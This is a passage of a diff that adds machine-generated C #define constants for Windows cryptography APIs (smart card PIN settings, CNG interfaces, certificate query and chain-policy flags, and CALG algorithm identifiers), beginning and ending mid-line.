CP_CACHE_MODE_SESSION_ONLY 0x2 +#define CP_CACHE_MODE_NO_CACHE 0x3 +#define CARD_AUTHENTICATE_GENERATE_SESSION_PIN 0x10000000 +#define CARD_AUTHENTICATE_SESSION_PIN 0x20000000 +#define CARD_PIN_STRENGTH_PLAINTEXT 0x1 +#define CARD_PIN_STRENGTH_SESSION_PIN 0x2 +#define CARD_PIN_SILENT_CONTEXT 0x40 +#define PIN_CACHE_POLICY_CURRENT_VERSION 0x6 +#define PIN_INFO_CURRENT_VERSION 0x6 +#define PIN_INFO_REQUIRE_SECURE_ENTRY 0x1 +#define CARD_CREATE_CONTAINER_KEY_GEN 0x1 +#define CARD_CREATE_CONTAINER_KEY_IMPORT 0x2 +#define CONTAINER_INFO_CURRENT_VERSION 0x1 +#define CARD_AUTHENTICATE_PIN_CHALLENGE_RESPONSE 0x1 +#define CARD_AUTHENTICATE_PIN_PIN 0x2 +#define CARD_FILE_INFO_CURRENT_VERSION 0x1 +#define CARD_FREE_SPACE_INFO_CURRENT_VERSION 0x1 +#define CARD_KEY_SIZES_CURRENT_VERSION 0x1 +#define CARD_RSA_KEY_DECRYPT_INFO_VERSION_ONE 0x1 +#define CARD_RSA_KEY_DECRYPT_INFO_VERSION_TWO 0x2 +#define CARD_RSA_KEY_DECRYPT_INFO_CURRENT_VERSION 0x2 +#define CARD_PADDING_INFO_PRESENT 0x40000000 +#define CARD_BUFFER_SIZE_ONLY 0x20000000 +#define CARD_PADDING_NONE 0x1 +#define CARD_PADDING_PKCS1 0x2 +#define CARD_PADDING_PSS 0x4 +#define CARD_PADDING_OAEP 0x8 +#define CARD_SIGNING_INFO_BASIC_VERSION 0x1 +#define CARD_SIGNING_INFO_CURRENT_VERSION 0x2 +#define CARD_DH_AGREEMENT_INFO_VERSION 0x2 +#define CARD_DERIVE_KEY_VERSION 0x1 +#define CARD_DERIVE_KEY_VERSION_TWO 0x2 +#define CARD_DERIVE_KEY_CURRENT_VERSION 0x2 +#define CARD_RETURN_KEY_HANDLE 0x1000000 +// SKIPPED const CCP_CONTAINER_INFO: non-integer constant +// SKIPPED const CCP_PIN_IDENTIFIER: non-integer constant +// SKIPPED const CCP_ASSOCIATED_ECDH_KEY: non-integer constant +// SKIPPED const CP_CARD_FREE_SPACE: non-integer constant +// SKIPPED const CP_CARD_CAPABILITIES: non-integer constant +// SKIPPED const CP_CARD_KEYSIZES: non-integer constant +// SKIPPED const CP_CARD_READ_ONLY: non-integer constant +// SKIPPED const CP_CARD_CACHE_MODE: non-integer constant +// SKIPPED const CP_SUPPORTS_WIN_X509_ENROLLMENT: non-integer constant +// SKIPPED const CP_CARD_GUID: non-integer constant +// SKIPPED const CP_CARD_SERIAL_NO: non-integer constant +// SKIPPED const CP_CARD_PIN_INFO: non-integer constant +// SKIPPED const CP_CARD_LIST_PINS: non-integer constant +// SKIPPED const CP_CARD_AUTHENTICATED_STATE: non-integer constant +// SKIPPED const CP_CARD_PIN_STRENGTH_VERIFY: non-integer constant +// SKIPPED const CP_CARD_PIN_STRENGTH_CHANGE: non-integer constant +// SKIPPED const CP_CARD_PIN_STRENGTH_UNBLOCK: non-integer constant +// SKIPPED const CP_PARENT_WINDOW: non-integer constant +// SKIPPED const CP_PIN_CONTEXT_STRING: non-integer constant +#define CARD_SECURE_KEY_INJECTION_NO_CARD_MODE 0x1 +#define CARD_KEY_IMPORT_PLAIN_TEXT 0x1 +#define CARD_KEY_IMPORT_RSA_KEYEST 0x2 +#define CARD_KEY_IMPORT_ECC_KEYEST 0x4 +#define CARD_KEY_IMPORT_SHARED_SYMMETRIC 0x8 +#define CARD_CIPHER_OPERATION 0x1 +#define CARD_ASYMMETRIC_OPERATION 0x2 +// SKIPPED const CARD_3DES_112_ALGORITHM: non-integer constant +// SKIPPED const CARD_3DES_ALGORITHM: non-integer constant +// SKIPPED const CARD_AES_ALGORITHM: non-integer constant +// SKIPPED const CARD_CHAIN_MODE_CBC: non-integer constant +#define CARD_IMPORT_KEYPAIR_VERSION_SEVEN 0x7 +#define CARD_IMPORT_KEYPAIR_CURRENT_VERSION 0x7 +#define CARD_CHANGE_AUTHENTICATOR_VERSION_SEVEN 0x7 +#define CARD_CHANGE_AUTHENTICATOR_CURRENT_VERSION 0x7 +#define CARD_CHANGE_AUTHENTICATOR_RESPONSE_VERSION_SEVEN 0x7 +#define CARD_CHANGE_AUTHENTICATOR_RESPONSE_CURRENT_VERSION 0x7 +#define CARD_AUTHENTICATE_VERSION_SEVEN 0x7 +#define CARD_AUTHENTICATE_CURRENT_VERSION 0x7 +#define CARD_AUTHENTICATE_RESPONSE_VERSION_SEVEN 0x7 +#define CARD_AUTHENTICATE_RESPONSE_CURRENT_VERSION 0x7 +// SKIPPED const CP_KEY_IMPORT_SUPPORT: non-integer constant +// SKIPPED const CP_ENUM_ALGORITHMS: non-integer constant +// SKIPPED const CP_PADDING_SCHEMES: non-integer constant +// SKIPPED const CP_CHAINING_MODES: non-integer constant +// SKIPPED const CSF_IMPORT_KEYPAIR: non-integer constant +// SKIPPED const CSF_CHANGE_AUTHENTICATOR: non-integer constant +// SKIPPED const CSF_AUTHENTICATE: non-integer constant +// SKIPPED const CKP_CHAINING_MODE: non-integer constant +// SKIPPED const CKP_INITIALIZATION_VECTOR: non-integer constant +// SKIPPED const CKP_BLOCK_LENGTH: non-integer constant +#define CARD_DATA_VERSION_SEVEN 0x7 +#define CARD_DATA_VERSION_SIX 0x6 +#define CARD_DATA_VERSION_FIVE 0x5 +#define CARD_DATA_VERSION_FOUR 0x4 +#define CARD_DATA_CURRENT_VERSION 0x7 +#define CERT_LOGOTYPE_GRAY_SCALE_IMAGE_INFO_CHOICE 0x1 +#define CERT_LOGOTYPE_COLOR_IMAGE_INFO_CHOICE 0x2 +#define CERT_LOGOTYPE_DIRECT_INFO_CHOICE 0x1 +#define CERT_LOGOTYPE_INDIRECT_INFO_CHOICE 0x2 +#define CRYPT_STRING_BASE64HEADER 0x0 +#define CRYPT_STRING_BASE64 0x1 +#define CRYPT_STRING_BINARY 0x2 +#define CRYPT_STRING_BASE64REQUESTHEADER 0x3 +#define CRYPT_STRING_HEX 0x4 +#define CRYPT_STRING_HEXASCII 0x5 +#define CRYPT_STRING_BASE64X509CRLHEADER 0x9 +#define CRYPT_STRING_HEXADDR 0xa +#define CRYPT_STRING_HEXASCIIADDR 0xb +#define CRYPT_STRING_HEXRAW 0xc +#define CRYPT_STRING_STRICT 0x20000000 +#define CRYPT_STRING_BASE64_ANY 0x6 +#define CRYPT_STRING_ANY 0x7 +#define CRYPT_STRING_HEX_ANY 0x8 +#define BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE 0x3 +#define BCRYPT_CIPHER_INTERFACE 0x1 +#define BCRYPT_HASH_INTERFACE 0x2 +#define BCRYPT_RNG_INTERFACE 0x6 +#define BCRYPT_SECRET_AGREEMENT_INTERFACE 0x4 +#define BCRYPT_SIGNATURE_INTERFACE 0x5 +#define NCRYPT_KEY_STORAGE_INTERFACE 0x10001 +#define NCRYPT_SCHANNEL_INTERFACE 0x10002 +#define NCRYPT_SCHANNEL_SIGNATURE_INTERFACE 0x10003 +#define CERT_QUERY_OBJECT_FILE 0x1 +#define CERT_QUERY_OBJECT_BLOB 0x2 +#define AT_KEYEXCHANGE 0x1 +#define AT_SIGNATURE 0x2 +#define CERT_NCRYPT_KEY_SPEC 0xffffffff +#define CRYPT_XML_PROPERTY_MAX_HEAP_SIZE 1 +#define CRYPT_XML_PROPERTY_SIGNATURE_LOCATION 2 +#define CRYPT_XML_PROPERTY_MAX_SIGNATURES 3 +#define CRYPT_XML_PROPERTY_DOC_DECLARATION 4 +#define CRYPT_XML_PROPERTY_XML_OUTPUT_CHARSET 5 +#define InvalidAc 0 +#define EveryoneReadUserWriteAc 1 +#define UserWriteExecuteAc 2 +#define EveryoneReadAdminWriteAc 3 +#define UnknownAc 4 +#define UserReadWriteAc 5 +#define AdminReadWriteAc 6 +#define CMSG_DATA 0x1 +#define CMSG_SIGNED 0x2 +#define CMSG_ENVELOPED 0x3 +#define CMSG_SIGNED_AND_ENVELOPED 0x4 +#define CMSG_HASHED 0x5 +#define CRYPT_DEFAULT_CONTEXT_AUTO_RELEASE_FLAG 0x1 +#define CRYPT_DEFAULT_CONTEXT_PROCESS_FLAG 0x2 +#define CRYPT_EXPORTABLE 0x1 +#define CRYPT_USER_PROTECTED 0x2 +#define CRYPT_ARCHIVABLE 0x4000 +#define CRYPT_CREATE_IV 0x200 +#define CRYPT_CREATE_SALT 0x4 +#define CRYPT_DATA_KEY 0x800 +#define CRYPT_FORCE_KEY_PROTECTION_HIGH 0x8000 +#define CRYPT_KEK 0x400 +#define CRYPT_INITIATOR 0x40 +#define CRYPT_NO_SALT 0x10 +#define CRYPT_ONLINE 0x80 +#define CRYPT_PREGEN 0x40 +#define CRYPT_RECIPIENT 0x10 +#define CRYPT_SF 0x100 +#define CRYPT_SGCKEY 0x2000 +#define CRYPT_VOLATILE 0x1000 +#define CRYPT_MACHINE_KEYSET 0x20 +#define CRYPT_USER_KEYSET 0x1000 +#define PKCS12_PREFER_CNG_KSP 0x100 +#define PKCS12_ALWAYS_CNG_KSP 0x200 +#define PKCS12_ALLOW_OVERWRITE_KEY 0x4000 +#define PKCS12_NO_PERSIST_KEY 0x8000 +#define PKCS12_INCLUDE_EXTENDED_PROPERTIES 0x10 +#define CRYPT_OAEP 0x40 +#define CRYPT_BLOB_VER3 0x80 +#define CRYPT_DESTROYKEY 0x4 +#define CRYPT_SSL2_FALLBACK 0x2 +#define CRYPT_Y_ONLY 0x1 +#define CRYPT_IPSEC_HMAC_KEY 0x100 +#define CERT_SET_KEY_PROV_HANDLE_PROP_ID 0x1 +#define CERT_SET_KEY_CONTEXT_PROP_ID 0x1 +#define CRYPT_XML_CHARSET_AUTO 0 +#define CRYPT_XML_CHARSET_UTF8 1 +#define CRYPT_XML_CHARSET_UTF16LE 2 +#define CRYPT_XML_CHARSET_UTF16BE 3 +#define BCRYPT_RSAPUBLIC_MAGIC 0x31415352 +#define BCRYPT_RSAPRIVATE_MAGIC 0x32415352 +#define BCRYPT_RSAFULLPRIVATE_MAGIC 0x33415352 +#define BCRYPT_ECC_PRIME_SHORT_WEIERSTRASS_CURVE 1 +#define BCRYPT_ECC_PRIME_TWISTED_EDWARDS_CURVE 2 +#define BCRYPT_ECC_PRIME_MONTGOMERY_CURVE 3 +#define BCRYPT_OPERATION_TYPE_HASH 1 +#define ENUM_CEPSETUPPROP_USELOCALSYSTEM 0 +#define ENUM_CEPSETUPPROP_USECHALLENGE 1 +#define ENUM_CEPSETUPPROP_RANAME_CN 2 +#define ENUM_CEPSETUPPROP_RANAME_EMAIL 3 +#define ENUM_CEPSETUPPROP_RANAME_COMPANY 4 +#define ENUM_CEPSETUPPROP_RANAME_DEPT 5 +#define ENUM_CEPSETUPPROP_RANAME_CITY 6 +#define ENUM_CEPSETUPPROP_RANAME_STATE 7 +#define ENUM_CEPSETUPPROP_RANAME_COUNTRY 8 +#define ENUM_CEPSETUPPROP_SIGNINGKEYINFORMATION 9 +#define ENUM_CEPSETUPPROP_EXCHANGEKEYINFORMATION 10 +#define ENUM_CEPSETUPPROP_CAINFORMATION 11 +#define ENUM_CEPSETUPPROP_MSCEPURL 12 +#define ENUM_CEPSETUPPROP_CHALLENGEURL 13 +#define DSA_FIPS186_2 0 +#define DSA_FIPS186_3 1 +#define BCRYPT_DH_PUBLIC_MAGIC 0x42504844 +#define BCRYPT_DH_PRIVATE_MAGIC 0x56504844 +#define CRYPT_XML_STATUS_ERROR_NOT_RESOLVED 0x1 +#define CRYPT_XML_STATUS_ERROR_DIGEST_INVALID 0x2 +#define CRYPT_XML_STATUS_ERROR_NOT_SUPPORTED_ALGORITHM 0x5 +#define CRYPT_XML_STATUS_ERROR_NOT_SUPPORTED_TRANSFORM 0x8 +#define CRYPT_XML_STATUS_ERROR_SIGNATURE_INVALID 0x10000 +#define CRYPT_XML_STATUS_ERROR_KEYINFO_NOT_PARSED 0x20000 +#define CERT_SELECT_BY_ENHKEY_USAGE 0x1 +#define CERT_SELECT_BY_KEY_USAGE 0x2 +#define CERT_SELECT_BY_POLICY_OID 0x3 +#define CERT_SELECT_BY_PROV_NAME 0x4 +#define CERT_SELECT_BY_EXTENSION 0x5 +#define CERT_SELECT_BY_SUBJECT_HOST_NAME 0x6 +#define CERT_SELECT_BY_ISSUER_ATTR 0x7 +#define CERT_SELECT_BY_SUBJECT_ATTR 0x8 +#define CERT_SELECT_BY_ISSUER_NAME 0x9 +#define CERT_SELECT_BY_PUBLIC_KEY 0xa +#define CERT_SELECT_BY_TLS_SIGNATURES 0xb +#define None 1 +#define PKCS7 2 +#define Zeros 3 +#define ANSIX923 4 +#define ISO10126 5 +#define CRYPT_MIN_DEPENDENCIES 0x1 +#define CRYPT_PROCESS_ISOLATE 0x10000 +#define NCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE 0x3 +#define NCRYPT_SECRET_AGREEMENT_INTERFACE 0x4 +#define NCRYPT_SIGNATURE_INTERFACE 0x5 +#define CRYPT_XML_X509DATA_TYPE_ISSUER_SERIAL 0x1 +#define CRYPT_XML_X509DATA_TYPE_SKI 0x2 +#define CRYPT_XML_X509DATA_TYPE_SUBJECT_NAME 0x3 +#define CRYPT_XML_X509DATA_TYPE_CERTIFICATE 0x4 +#define CRYPT_XML_X509DATA_TYPE_CRL 0x5 +#define CRYPT_XML_X509DATA_TYPE_CUSTOM 0x6 +#define KP_ALGID 0x7 +#define KP_CERTIFICATE 0x1a +#define KP_PERMISSIONS 0x6 +#define KP_SALT 0x2 +#define KP_SALT_EX 0xa +#define KP_BLOCKLEN 0x8 +#define KP_GET_USE_COUNT 0x2a +#define KP_KEYLEN 0x9 +#define KeyTypeOther 0x0 +#define KeyTypeVirtualSmartCard 0x1 +#define KeyTypePhysicalSmartCard 0x2 +#define KeyTypePassport 0x3 +#define KeyTypePassportRemote 0x4 +#define KeyTypePassportSmartCard 0x5 +#define KeyTypeHardware 0x6 +#define KeyTypeSoftware 0x7 +#define KeyTypeSelfSigned 0x8 +#define CERT_STORE_SAVE_TO_FILE 0x1 +#define CERT_STORE_SAVE_TO_FILENAME 0x4 +#define CERT_STORE_SAVE_TO_FILENAME_A 0x3 +#define CERT_STORE_SAVE_TO_FILENAME_W 0x4 +#define CERT_STORE_SAVE_TO_MEMORY 0x2 +#define AuthenticationPin 0 +#define DigitalSignaturePin 1 +#define EncryptionPin 2 +#define NonRepudiationPin 3 +#define AdministratorPin 4 +#define PrimaryCardPin 5 +#define UnblockOnlyPin 6 +#define CERT_RDN_ANY_TYPE 0 +#define CERT_RDN_NUMERIC_STRING 3 +#define CERT_RDN_PRINTABLE_STRING 4 +#define CERT_RDN_T61_STRING 5 +#define CERT_RDN_VIDEOTEX_STRING 6 +#define CERT_RDN_IA5_STRING 7 +#define CERT_RDN_GRAPHIC_STRING 8 +#define CERT_RDN_ISO646_STRING 9 +#define CERT_RDN_GENERAL_STRING 10 +#define CERT_RDN_INT4_STRING 11 +#define CERT_RDN_UNICODE_STRING 12 +#define CERT_RDN_BMP_STRING 12 +#define CERT_RDN_ENCODED_BLOB 1 +#define CERT_RDN_OCTET_STRING 2 +#define CERT_RDN_TELETEX_STRING 5 +#define CERT_RDN_UNIVERSAL_STRING 11 +#define CERT_RDN_UTF8_STRING 13 +#define CERT_RDN_VISIBLE_STRING 9 +#define CERT_SYSTEM_STORE_LOCATION_MASK 0xff0000 +#define CERT_SYSTEM_STORE_RELOCATE_FLAG 0x80000000 +#define CERT_ROOT_PROGRAM_FLAG_LSC 0x40 +#define CERT_ROOT_PROGRAM_FLAG_ORG 0x80 +#define CERT_ROOT_PROGRAM_FLAG_SUBJECT_LOGO 0x20 +#define CERT_QUERY_CONTENT_CERT 0x1 +#define CERT_QUERY_CONTENT_CTL 0x2 +#define CERT_QUERY_CONTENT_CRL 0x3 +#define CERT_QUERY_CONTENT_SERIALIZED_STORE 0x4 +#define CERT_QUERY_CONTENT_SERIALIZED_CERT 0x5 +#define CERT_QUERY_CONTENT_SERIALIZED_CTL 0x6 +#define CERT_QUERY_CONTENT_SERIALIZED_CRL 0x7 +#define CERT_QUERY_CONTENT_PKCS7_SIGNED 0x8 +#define CERT_QUERY_CONTENT_PKCS7_UNSIGNED 0x9 +#define CERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED 0xa +#define CERT_QUERY_CONTENT_PKCS10 0xb +#define CERT_QUERY_CONTENT_PFX 0xc +#define CERT_QUERY_CONTENT_CERT_PAIR 0xd +#define CERT_QUERY_CONTENT_PFX_AND_LOAD 0xe +#define ENUM_CESSETUPPROP_USE_IISAPPPOOLIDENTITY 0 +#define ENUM_CESSETUPPROP_CACONFIG 1 +#define ENUM_CESSETUPPROP_AUTHENTICATION 2 +#define ENUM_CESSETUPPROP_SSLCERTHASH 3 +#define ENUM_CESSETUPPROP_URL 4 +#define ENUM_CESSETUPPROP_RENEWALONLY 5 +#define ENUM_CESSETUPPROP_ALLOW_KEYBASED_RENEWAL 6 +#define PinCacheNormal 0 +#define PinCacheTimed 1 +#define PinCacheNone 2 +#define PinCacheAlwaysPrompt 3 +#define NCRYPT_SILENT_FLAG 0x40 +#define NCRYPT_NO_PADDING_FLAG 0x1 +#define NCRYPT_PAD_OAEP_FLAG 0x4 +#define NCRYPT_PAD_PKCS1_FLAG 0x2 +#define NCRYPT_REGISTER_NOTIFY_FLAG 0x1 +#define NCRYPT_UNREGISTER_NOTIFY_FLAG 0x2 +#define NCRYPT_MACHINE_KEY_FLAG 0x20 +#define NCRYPT_UNPROTECT_NO_DECRYPT 0x1 +#define NCRYPT_OVERWRITE_KEY_FLAG 0x80 +#define NCRYPT_NO_KEY_VALIDATION 0x8 +#define NCRYPT_WRITE_KEY_TO_LEGACY_STORE_FLAG 0x200 +#define NCRYPT_PAD_PSS_FLAG 0x8 +#define NCRYPT_PERSIST_FLAG 0x80000000 +#define NCRYPT_PERSIST_ONLY_FLAG 0x40000000 +#define CRYPT_XML_GROUP_ID_HASH 0x1 +#define CRYPT_XML_GROUP_ID_SIGN 0x2 +#define SIGNER_CERT_SPC_FILE 0x1 +#define SIGNER_CERT_STORE 0x2 +#define SIGNER_CERT_SPC_CHAIN 0x3 +#define X509_ASN_ENCODING 0x1 +#define PKCS_7_ASN_ENCODING 0x10000 +#define CERT_LOGOTYPE_NO_IMAGE_RESOLUTION_CHOICE 0x0 +#define CERT_LOGOTYPE_BITS_IMAGE_RESOLUTION_CHOICE 0x1 +#define CERT_LOGOTYPE_TABLE_SIZE_IMAGE_RESOLUTION_CHOICE 0x2 +#define CERT_SIMPLE_NAME_STR 0x1 +#define CERT_OID_NAME_STR 0x2 +#define CERT_X500_NAME_STR 0x3 +#define CMSG_KEY_AGREE_ORIGINATOR_CERT 0x1 +#define CMSG_KEY_AGREE_ORIGINATOR_PUBLIC_KEY 0x2 +#define CERT_ID_ISSUER_SERIAL_NUMBER 0x1 +#define CERT_ID_KEY_IDENTIFIER 0x2 +#define CERT_ID_SHA1_HASH 0x3 +#define AlphaNumericPinType 0 +#define ExternalPinType 1 +#define ChallengeResponsePinType 2 +#define EmptyPinType 3 +#define CERT_CHAIN_FIND_BY_ISSUER_COMPARE_KEY_FLAG 0x1 +#define CERT_CHAIN_FIND_BY_ISSUER_COMPLEX_CHAIN_FLAG 0x2 +#define CERT_CHAIN_FIND_BY_ISSUER_CACHE_ONLY_FLAG 0x8000 +#define CERT_CHAIN_FIND_BY_ISSUER_CACHE_ONLY_URL_FLAG 0x4 +#define CERT_CHAIN_FIND_BY_ISSUER_LOCAL_MACHINE_FLAG 0x8 +#define CERT_CHAIN_FIND_BY_ISSUER_NO_KEY_FLAG 0x4000 +#define CRYPT_FIND_USER_KEYSET_FLAG 0x1 +#define CRYPT_FIND_MACHINE_KEYSET_FLAG 0x2 +#define CRYPT_FIND_SILENT_KEYSET_FLAG 0x40 +#define CERT_CHAIN_POLICY_IGNORE_NOT_TIME_VALID_FLAG 0x1 +#define CERT_CHAIN_POLICY_IGNORE_CTL_NOT_TIME_VALID_FLAG 0x2 +#define CERT_CHAIN_POLICY_IGNORE_NOT_TIME_NESTED_FLAG 0x4 +#define CERT_CHAIN_POLICY_IGNORE_INVALID_BASIC_CONSTRAINTS_FLAG 0x8 +#define CERT_CHAIN_POLICY_IGNORE_ALL_NOT_TIME_VALID_FLAGS 0x7 +#define CERT_CHAIN_POLICY_ALLOW_UNKNOWN_CA_FLAG 0x10 +#define CERT_CHAIN_POLICY_IGNORE_WRONG_USAGE_FLAG 0x20 +#define CERT_CHAIN_POLICY_IGNORE_INVALID_NAME_FLAG 0x40 +#define CERT_CHAIN_POLICY_IGNORE_INVALID_POLICY_FLAG 0x80 +#define CERT_CHAIN_POLICY_IGNORE_END_REV_UNKNOWN_FLAG 0x100 +#define CERT_CHAIN_POLICY_IGNORE_CTL_SIGNER_REV_UNKNOWN_FLAG 0x200 +#define CERT_CHAIN_POLICY_IGNORE_CA_REV_UNKNOWN_FLAG 0x400 +#define CERT_CHAIN_POLICY_IGNORE_ROOT_REV_UNKNOWN_FLAG 0x800 +#define CERT_CHAIN_POLICY_IGNORE_ALL_REV_UNKNOWN_FLAGS 0xf00 +#define CERT_CHAIN_POLICY_ALLOW_TESTROOT_FLAG 0x8000 +#define CERT_CHAIN_POLICY_TRUST_TESTROOT_FLAG 0x4000 +#define CERT_CHAIN_POLICY_IGNORE_NOT_SUPPORTED_CRITICAL_EXT_FLAG 0x2000 +#define CERT_CHAIN_POLICY_IGNORE_PEER_TRUST_FLAG 0x1000 +#define CERT_CHAIN_POLICY_IGNORE_WEAK_SIGNATURE_FLAG 0x8000000 +#define BASIC_CONSTRAINTS_CERT_CHAIN_POLICY_CA_FLAG 0x80000000 +#define BASIC_CONSTRAINTS_CERT_CHAIN_POLICY_END_ENTITY_FLAG 0x40000000 +#define MICROSOFT_ROOT_CERT_CHAIN_POLICY_ENABLE_TEST_ROOT_FLAG 0x10000 +#define MICROSOFT_ROOT_CERT_CHAIN_POLICY_CHECK_APPLICATION_ROOT_FLAG 0x20000 +#define MICROSOFT_ROOT_CERT_CHAIN_POLICY_DISABLE_FLIGHT_ROOT_FLAG 0x40000 +#define SIGNER_NO_ATTR 0x0 +#define SIGNER_AUTHCODE_ATTR 0x1 +#define CMSG_KEY_AGREE_EPHEMERAL_KEY_CHOICE 0x1 +#define CMSG_KEY_AGREE_STATIC_KEY_CHOICE 0x2 +#define CRYPT_XML_KEYINFO_SPEC_NONE 0 +#define CRYPT_XML_KEYINFO_SPEC_ENCODED 1 +#define CRYPT_XML_KEYINFO_SPEC_PARAM 2 +#define CRYPT_XML_KEY_VALUE_TYPE_DSA 0x1 +#define CRYPT_XML_KEY_VALUE_TYPE_RSA 0x2 +#define CRYPT_XML_KEY_VALUE_TYPE_ECDSA 0x3 +#define CRYPT_XML_KEY_VALUE_TYPE_CUSTOM 0x4 +#define BCRYPT_RNG_USE_ENTROPY_IN_BUFFER 0x1 +#define BCRYPT_USE_SYSTEM_PREFERRED_RNG 0x2 +#define InvalidDirAc 0 +#define UserCreateDeleteDirAc 1 +#define AdminCreateDeleteDirAc 2 +#define PP_CLIENT_HWND 0x1 +#define PP_DELETEKEY 0x18 +#define PP_KEYEXCHANGE_ALG 0xe +#define PP_KEYEXCHANGE_PIN 0x20 +#define PP_KEYEXCHANGE_KEYSIZE 0xc +#define PP_KEYSET_SEC_DESCR 0x8 +#define PP_PIN_PROMPT_STRING 0x2c +#define PP_ROOT_CERTSTORE 0x2e +#define PP_SIGNATURE_ALG 0xf +#define PP_SIGNATURE_PIN 0x21 +#define PP_SIGNATURE_KEYSIZE 0xd +#define PP_UI_PROMPT 0x15 +#define PP_USE_HARDWARE_RNG 0x26 +#define PP_USER_CERTSTORE 0x2a +#define PP_SECURE_KEYEXCHANGE_PIN 0x2f +#define PP_SECURE_SIGNATURE_PIN 0x30 +#define PP_SMARTCARD_READER 0x2b +#define CRYPT_XML_TRANSFORM_ON_STREAM 0x1 +#define CRYPT_XML_TRANSFORM_ON_NODESET 0x2 +#define CRYPT_XML_TRANSFORM_URI_QUERY_STRING 0x3 +#define CERT_CREATE_SELFSIGN_NO_KEY_INFO 0x2 +#define CERT_CREATE_SELFSIGN_NO_SIGN 0x1 +#define CRYPT_VERIFY_CERT_SIGN_DISABLE_MD2_MD4_FLAG 0x1 +#define CRYPT_VERIFY_CERT_SIGN_SET_STRONG_PROPERTIES_FLAG 0x2 +#define CRYPT_VERIFY_CERT_SIGN_RETURN_STRONG_PROPERTIES_FLAG 0x4 +#define CRYPT_LOCAL 0x1 +#define CRYPT_DOMAIN 0x2 +#define CERT_BIOMETRIC_PREDEFINED_DATA_CHOICE 0x1 +#define CERT_BIOMETRIC_OID_DATA_CHOICE 0x2 +#define SIGNER_CERT_POLICY_STORE 0x1 +#define SIGNER_CERT_POLICY_CHAIN 0x2 +#define SIGNER_CERT_POLICY_SPC 0x4 +#define SIGNER_CERT_POLICY_CHAIN_NO_ROOT 0x8 +#define CERT_QUERY_FORMAT_FLAG_BINARY 0x2 +#define CERT_QUERY_FORMAT_FLAG_BASE64_ENCODED 0x4 +#define CERT_QUERY_FORMAT_FLAG_ASN_ASCII_HEX_ENCODED 0x8 +#define CERT_QUERY_FORMAT_FLAG_ALL 0xe +#define Asymmetric 1 +#define Symmetric 2 +#define Transform 3 +#define Hash 4 +#define SIG_APPEND 0x1000 +#define SPC_INC_PE_RESOURCES_FLAG 0x80 +#define SPC_INC_PE_DEBUG_INFO_FLAG 0x40 +#define SPC_INC_PE_IMPORT_ADDR_TABLE_FLAG 0x20 +#define SPC_EXC_PE_PAGE_HASHES_FLAG 0x10 +#define SPC_INC_PE_PAGE_HASHES_FLAG 0x100 +#define SPC_DIGEST_GENERATE_FLAG 0x200 +#define SPC_DIGEST_SIGN_FLAG 0x400 +#define SPC_DIGEST_SIGN_EX_FLAG 0x4000 +#define CALG_MD2 0x8001 +#define CALG_MD4 0x8002 +#define CALG_MD5 0x8003 +#define CALG_SHA 0x8004 +#define CALG_SHA1 0x8004 +#define CALG_MAC 0x8005 +#define CALG_RSA_SIGN 0x2400 +#define CALG_DSS_SIGN 0x2200 +#define CALG_NO_SIGN 0x2000 +#define CALG_RSA_KEYX 0xa400 +#define CALG_DES 0x6601 +#define CALG_3DES_112 0x6609 +#define CALG_3DES 0x6603 +#define CALG_DESX 0x6604 +#define CALG_RC2 0x6602 +#define CALG_RC4 0x6801 +#define CALG_SEAL 0x6802 +#define CALG_DH_SF 0xaa01 +#define CALG_DH_EPHEM 0xaa02 +#define CALG_AGREEDKEY_ANY 0xaa03 +#define CALG_KEA_KEYX 0xaa04 +#define CALG_HUGHES_MD5 0xa003 +#define CALG_SKIPJACK 0x660a +#define CALG_TEK 0x660b +#define CALG_CYLINK_MEK 0x660c +#define CALG_SSL3_SHAMD5 0x8008 +#define CALG_SSL3_MASTER 0x4c01 +#define CALG_SCHANNEL_MASTER_HASH 0x4c02 +#define CALG_SCHANNEL_MAC_KEY 0x4c03 +#define CALG_SCHANNEL_ENC_KEY 0x4c07 +#define CALG_PCT1_MASTER 0x4c04 +#define CALG_SSL2_MASTER 0x4c05 +#define CALG_TLS1_MASTER 0x4c06 +#define CALG_RC5 0x660d +#define CALG_HMAC 0x8009 +#define CALG_TLS1PRF 0x800a +#define CALG_HASH_REPLACE_OWF 0x800b +#define CALG_AES_128 0x660e +#define CALG_AES_192 0x660f +#define CALG_AES_256 0x6610 +#define CALG_AES 0x6611 +#define CALG_SHA_256 0x800c +#define CALG_SHA_384 0x800d +#define CALG_SHA_512 0x800e +#define CALG_ECDH 0xaa05 +#define CALG_ECDH_EPHEM 0xae06 +#define CALG_ECMQV 0xa001 +#define CALG_ECDSA 0x2203 +#define CALG_NULLCIPHER 0x6000 +#define CALG_THIRDPARTY_KEY_EXCHANGE 0xb000 +#define CALG_THIRDPARTY_SIGNATURE 0x3000 +#define CALG_THIRDPARTY_CIPHER 0x7000 +#define CALG_THIRDPARTY_HASH 0x9000 +#define CRYPT_ALL_FUNCTIONS 0x1 +#define CRYPT_ALL_PROVIDERS 0x2 +#define CTL_FIND_ANY 0x0 +#define CTL_FIND_SHA1_HASH 0x1 +#define CTL_FIND_MD5_HASH 0x2 +#define CTL_FIND_USAGE 0x3 +#define CTL_FIND_SAME_USAGE_FLAG 0x1 +#define CTL_FIND_EXISTING 0x5 +#define CTL_FIND_SUBJECT 0x4 +#define CRYPT_EXCLUSIVE 0x1 +#define CRYPT_OVERRIDE 0x10000 +#define CERT_QUERY_CONTENT_FLAG_CERT 0x2 +#define CERT_QUERY_CONTENT_FLAG_CTL 0x4 +#define CERT_QUERY_CONTENT_FLAG_CRL 0x8 +#define CERT_QUERY_CONTENT_FLAG_SERIALIZED_STORE 0x10 +#define CERT_QUERY_CONTENT_FLAG_SERIALIZED_CERT 0x20 +#define CERT_QUERY_CONTENT_FLAG_SERIALIZED_CTL 0x40 +#define CERT_QUERY_CONTENT_FLAG_SERIALIZED_CRL 0x80 +#define CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED 0x100 +#define CERT_QUERY_CONTENT_FLAG_PKCS7_UNSIGNED 0x200 +#define CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED 0x400 +#define CERT_QUERY_CONTENT_FLAG_PKCS10 0x800 +#define CERT_QUERY_CONTENT_FLAG_PFX 0x1000 +#define CERT_QUERY_CONTENT_FLAG_CERT_PAIR 0x2000 +#define CERT_QUERY_CONTENT_FLAG_PFX_AND_LOAD 0x4000 +#define CERT_QUERY_CONTENT_FLAG_ALL 0x3ffe +#define 